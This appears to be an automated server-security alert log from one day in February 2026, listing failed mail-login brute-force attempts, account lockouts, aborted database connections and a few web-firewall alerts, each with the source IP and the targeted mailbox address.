2026-02-01 16:01:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61742: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 16:01:02 dovecot_login authenticator failed for H=(qyUrrCWBo) [178.16.52.139]:51292: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:01:06 dovecot_login authenticator failed for H=(1a0BVmfPih) [178.16.54.22]:51483: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:01:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59144: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:01:17 dovecot_login authenticator failed for H=(rzjg9w) [158.94.208.175]:56230: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:02:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51468: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 16:02:16 dovecot_login authenticator failed for H=(7yatmR95) [178.16.52.139]:60082: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:02:13 dovecot_login authenticator failed for H=(RsRkJz) [178.16.54.22]:52356: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 16:02:46 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:48852: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:02:06 dovecot_login authenticator failed for H=(PPumH6lj) [158.94.208.175]:64677: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.9
country_id: 1668284
description:
2026-02-01 16:02:18 dovecot_login authenticator failed for H=111-70-32-9.emome-ip.hinet.net [111.70.32.9]:58781: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-02-01 16:02:29 dovecot_login authenticator failed for H=(static.ill.117.250.107.180.bsnl.co.in) [117.250.107.180]:42227: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:03:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33172: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 16:03:11 dovecot_login authenticator failed for H=(eT3gZmd) [178.16.52.139]:51654: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.243
country_id: 1814991
description:
2026-02-01 16:03:16 dovecot_login authenticator failed for H=([111.61.176.243]) [111.61.176.243]:36100: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.192.79.179
country_id: 3865483
description:
2026-02-01 16:03:49 dovecot_login authenticator failed for H=(pppoe-179.79.192.181.in-addr.arpa) [181.192.79.179]:56242: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:03:18 dovecot_login authenticator failed for H=(LJeZLXFl) [158.94.208.175]:61648: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.197.194.98
country_id: 6252001
description:
2026-02-01 16:03:34 dovecot_plain authenticator failed for H=c-73-197-194-98.hsd1.nj.comcast.net (shiesse) [73.197.194.98]:36228: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 16:03:42 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:14502: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:03:04 dovecot_login authenticator failed for H=(MhFpPEVXIa) [178.16.54.22]:65441: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:03:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56722: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.129.57.71
country_id: 6252001
description:
2026-02-01 16:03:29 dovecot_plain authenticator failed for H=c-73-129-57-71.hsd1.md.comcast.net (overai) [73.129.57.71]:33854: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.40.61.150
country_id: 2017370
description:
2026-02-01 16:03:31 dovecot_plain authenticator failed for H=(f8rbanenqz906x8ym989vb8g4gnl1ew) [77.40.61.150]:32053: 535 Incorrect authentication data (set_id=2095central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:04:12 dovecot_login authenticator failed for H=(xBUfthF) [178.16.54.22]:57345: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 16:04:20 dovecot_plain authenticator failed for H=(rhiock) [64.72.74.162]:48544: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.142.1.173
country_id: 1814991
description:
2026-02-01 16:04:39 dovecot_login authenticator failed for H=([220.189.239.206]) [183.142.1.173]:55004: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.141.241.229
country_id: 6252001
description:
2026-02-01 16:04:50 dovecot_login authenticator failed for H=([166.141.241.229]) [166.141.241.229]:35864: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 16:04:55 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.167.46.44
country_id: 6252001
description:
2026-02-01 16:04:15 dovecot_plain authenticator failed for H=c-73-167-46-44.hsd1.ma.comcast.net (hemer) [73.167.46.44]:38686: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.182
country_id: 2635167
description:
2026-02-01 16:04:43 230551 [Warning] Aborted connection 230551 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:04:11 dovecot_login authenticator failed for H=(8anuW0) [158.94.208.175]:59881: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:04:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62753: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:04:29 dovecot_login authenticator failed for H=(swQM0Ytl0z) [158.94.208.175]:65506: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 16:05:03 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:43542: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:05:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53693: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:05:05 dovecot_login authenticator failed for H=(3uuFID02) [158.94.208.175]:62189: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:05:14 dovecot_login authenticator failed for H=(Ydh7z3TeW) [178.16.54.22]:65206: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 16:05:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:05:36 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34738: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.182
country_id: 2635167
description:
2026-02-01 16:06:05 230612 [Warning] Aborted connection 230612 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:06:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49341: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 16:06:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:06:15 dovecot_login authenticator failed for H=(CyE8mok4) [158.94.208.175]:63701: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:06:18 dovecot_login authenticator failed for H=(COtYrkAn) [178.16.54.22]:50325: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 16:07:12 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:50288: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:07:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55245: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.131.136
country_id: 6252001
description:
2026-02-01 16:07:18 dovecot_login authenticator failed for H=(localhost.localdomain) [124.198.131.136]:65459: 535 Incorrect authentication data (set_id=2095intercessors@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:07:50 dovecot_login authenticator failed for H=(PT2sREf0AB) [158.94.208.175]:65006: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:07:56 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41470: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:07:11 dovecot_login authenticator failed for H=(GqJ6GiiLq2) [158.94.208.175]:58491: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 16:07:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 16:07:42 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:47296: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:07:43 dovecot_login authenticator failed for H=(AflZeNd9mX) [178.16.54.22]:65398: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:08:09 dovecot_login authenticator failed for H=(O76ou7) [158.94.208.175]:62009: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:08:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60650: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 16:08:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb@vc-b.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:08:07 dovecot_login authenticator failed for H=(3dkjOkg) [178.16.54.22]:49227: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:09:20 dovecot_login authenticator failed for H=(MqoREZLE) [158.94.208.175]:58603: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:09:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53475: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.131.136
country_id: 6252001
description:
2026-02-01 16:09:10 dovecot_login authenticator failed for H=(localhost.localdomain) [124.198.131.136]:64481: 535 Incorrect authentication data (set_id=2095prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.62.239.4
country_id: 732800
description:
2026-02-01 16:09:58 dovecot_plain authenticator failed for H=(charchnant) [149.62.239.4]:37820: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:09:12 dovecot_login authenticator failed for H=(rmXmmDoBa) [178.16.54.22]:55212: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.135
country_id: 1819730
description:
2026-02-01 16:10:21 dovecot_login authenticator failed for H=(223-197-153-135.static.imsbiz.com) [223.197.153.135]:57373: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:10:33 dovecot_login authenticator failed for H=(OI4n8w70nL) [178.16.54.22]:53595: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.136
country_id: 1269750
description:
2026-02-01 16:10:11 dovecot_login authenticator failed for H=([203.193.168.136]) [203.193.168.136]:37326: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:10:13 dovecot_login authenticator failed for H=(A2xHsgKI5) [158.94.208.175]:54843: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:10:07 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37638: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:10:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60158: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 16:11:47 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (inone) [87.103.126.54]:5586: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:11:07 dovecot_login authenticator failed for H=(806dzUNyoW) [178.16.54.22]:55368: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:11:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49483: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.169.210.16
country_id: 2017370
description:
2026-02-01 16:11:55 dovecot_plain authenticator failed for H=(47gyo7ikun4z135r5) [136.169.210.16]:54552: 535 Incorrect authentication data (set_id=admin@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 16:11:16 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:57142: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:11:15 dovecot_login authenticator failed for H=(VBg3SOsmM) [158.94.208.175]:62836: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:11:48 dovecot_login authenticator failed for H=(bWYhaC) [158.94.208.175]:56868: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-02-01 16:11:25 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:48575: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:12:16 dovecot_login authenticator failed for H=(SO25Wd) [178.16.54.22]:56559: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-02-01 16:12:40 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:51198: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:12:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38282: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:12:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55587: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:12:05 dovecot_login authenticator failed for H=(0W1nRHuGxm) [158.94.208.175]:56288: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-02-01 16:13:10 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:59286: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:13:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63971: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:13:59 dovecot_login authenticator failed for H=(sGboZsbv) [158.94.208.175]:65276: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:13:07 dovecot_login authenticator failed for H=(l7PSahGg) [178.16.54.22]:58911: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.16.74
country_id: 1562822
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/index.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:14:18 dovecot_login authenticator failed for H=(6eDBUh4yn0) [178.16.54.22]:62699: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:14:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53503: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:14:27 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57576: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:14:34 dovecot_login authenticator failed for H=(SQ49Ywt) [158.94.208.175]:57945: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:15:07 dovecot_login authenticator failed for H=(tO5yrS) [178.16.54.22]:53441: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:15:08 dovecot_login authenticator failed for H=(BZ77lGJS) [158.94.208.175]:52015: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:15:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59498: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.40.61.150
country_id: 2017370
description:
2026-02-01 16:15:26 dovecot_plain authenticator failed for H=(3nz40zg8923wwulcc) [77.40.61.150]:31983: 535 Incorrect authentication data (set_id=2095prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.130.168.66
country_id: 1835841
description:
2026-02-01 16:15:54 dovecot_login authenticator failed for H=([118.130.168.66]) [118.130.168.66]:33287: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:16:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65293: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:16:15 dovecot_login authenticator failed for H=(sVrc935x) [158.94.208.175]:63422: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.112.126
country_id: 1269750
description:
2026-02-01 16:16:24 dovecot_login authenticator failed for H=([27.123.112.126]) [27.123.112.126]:37168: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 16:16:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35780: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.149.211
country_id: 1522867
description:
2026-02-01 16:16:55 dovecot_plain authenticator failed for H=(uptemer) [85.29.149.211]:50034: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.131.136
country_id: 6252001
description:
2026-02-01 16:16:48 dovecot_login authenticator failed for H=(localhost.localdomain) [124.198.131.136]:52921: 535 Incorrect authentication data (set_id=2095central@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.153.145
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=243858 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:17:49 dovecot_login authenticator failed for H=(lLAbDNX) [158.94.208.175]:51690: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:17:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55935: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.120
country_id: 2750405
description:
2026-02-01 16:17:31 231008 [Warning] Aborted connection 231008 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.120' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:17:34 dovecot_login authenticator failed for H=(gAH8oAxf7k) [178.16.54.22]:63689: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:17:40 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55935: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.241.54.202
country_id: 6252001
description:
2026-02-01 16:17:01 dovecot_plain authenticator failed for H=cm-72-241-54-202.buckeyecom.net (undys) [72.241.54.202]:53844: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:18:21 dovecot_login authenticator failed for H=(nEL0Nk7Zf) [158.94.208.175]:57318: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
